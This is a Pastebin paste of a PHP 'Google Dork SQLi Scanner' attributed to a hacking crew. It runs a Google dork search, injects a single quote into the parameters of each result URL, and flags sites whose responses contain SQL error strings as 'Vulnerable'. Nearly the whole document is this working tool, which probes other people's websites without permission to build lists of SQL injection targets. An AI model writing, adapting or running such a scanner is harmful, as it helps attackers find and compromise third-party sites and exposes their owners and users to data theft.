Advertisement
Joker0day

Google Dork SQLi Scanner

Jul 22nd, 2018
488
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.76 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Google Dork SQLi Scanner V2 [Fl.cReW]</title>
  4. <style type="text/css">
  5. *{
  6.     background:url('../images/bg.gif') #111;
  7.     font-family: Lucida Console,Tahoma;
  8.     color:#bbb;
  9.     font-size:11px;
  10.     text-align:left;
  11. }
  12. input,select,textarea{
  13.     border:0;
  14.     border:1px solid #900;
  15.     color:#fff;
  16.     background:#000;
  17.     margin:0;
  18.     padding:2px 4px;
  19. }
  20. input:hover,textarea:hover,select:hover{
  21.     background:#200;
  22.     border:1px solid #f00;
  23. }
  24. option{
  25.     background:#000;
  26. }
  27. .red{
  28.     color:#f00;
  29. }
  30. .white{
  31.     color:#fff;
  32. }
  33. a{
  34.     text-decoration:none;
  35. }
  36. a:hover{
  37.     border-bottom:1px solid #900;
  38.     border-top:1px solid #900;
  39. }
  40. #status{
  41.     width:100%;
  42.     height:auto;
  43.     padding:4px 0;
  44.     border-bottom:1px solid #300;
  45. }
  46. #result a{
  47.     color:#777;
  48. }
  49. .sign{
  50.     color:#222;
  51. }
  52. #box{
  53.     margin:10px 0 0 0;
  54. }
  55. </style>
  56.  
  57. </head>
  58. <body align="center">
  59.  
  60. <?php
  61. echo "<h2>Google Dork Scanner V2</h2>";
  62. echo "<form action='' method='post'>";
  63. echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:.php?pID='></p>";
  64. echo "<input type='submit' value='Yeahh'>";
  65. echo "<hr><br />";
  66.  
  67. if($_POST['dork']) {
  68.  
  69. @set_time_limit(0);
  70. @error_reporting(0);
  71. @ignore_user_abort(true);
  72. ini_set('memory_limit', '128M');
  73.  
  74. $google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";
  75.  
  76. $i = 0;
  77. $a = 0;
  78. $b = 0;
  79.  
  80. while($b <= 900) {
  81. $a = 0;
  82. flush(); ob_flush();
  83. echo "@ Pages: [ $b ]<br />";
  84. echo "@ Dork: [ <b>".$_POST['dork']."</b> ]<br />";
  85. echo "@ Google Scanner ! .<br />";
  86. flush(); ob_flush();
  87.  
  88. if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) {
  89. echo "See something but not found??<br />";
  90. flush(); ob_flush();
  91. break;
  92. }
  93.  
  94. preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
  95. echo "Result of injection...<br />";
  96. flush(); ob_flush();
  97. while(1) {
  98.  
  99. if(preg_match("/sql syntax|mysql_|different number of column|syntax error converting|error in your SQL syntax|OLE DB Provider for ODBC Drivers|ODBC SQL Server Driver|Incorrect syntax near|Command error|SQLServer JDBC Driver|The error occurred in|SELECT * FROM|mysqld-4.1.22-community-nt-log|ODBC 3.51 Driver|Microsoft JET Database Engine error|ODBC Microsoft Access Driver/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
  100. echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>Yeah..Vulnerable ! </font><br />";
  101. } else {
  102. echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>Not Vulnerable..sorry! </font><br />";
  103. flush(); ob_flush();
  104. }
  105. if($a > count($sites[2])-2) {
  106. echo "Lets..scan other page.. <br />";
  107. break;
  108. }
  109. $a = $a+1;
  110. }
  111. $b = $b+100;
  112. }
  113. }
  114.  
  115. function Connect_Host($url) {
  116. $ch = curl_init();
  117. curl_setopt($ch, CURLOPT_FOLLOW, 0);
  118. curl_setopt($ch, CURLOPT_HEADER, 1);
  119. curl_setopt($ch, CURLOPT_URL, $url);
  120. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  121. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  122. $data = curl_exec($ch);
  123. if($data) {
  124. return $data;
  125. } else {
  126. return 0;
  127. }
  128. }
  129.  
  130. function Clean($text) {
  131. return htmlspecialchars($text, ENT_QUOTES);
  132. }
  133.  
  134. ?>
  135. <!-- Edited By Danzel >
  136. </body>
  137. </html>
  138. <br> flashcrew.webs[at]gmail[dot].com</br><p>
  139. <center> Powered By fLaShcReW!!!</center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement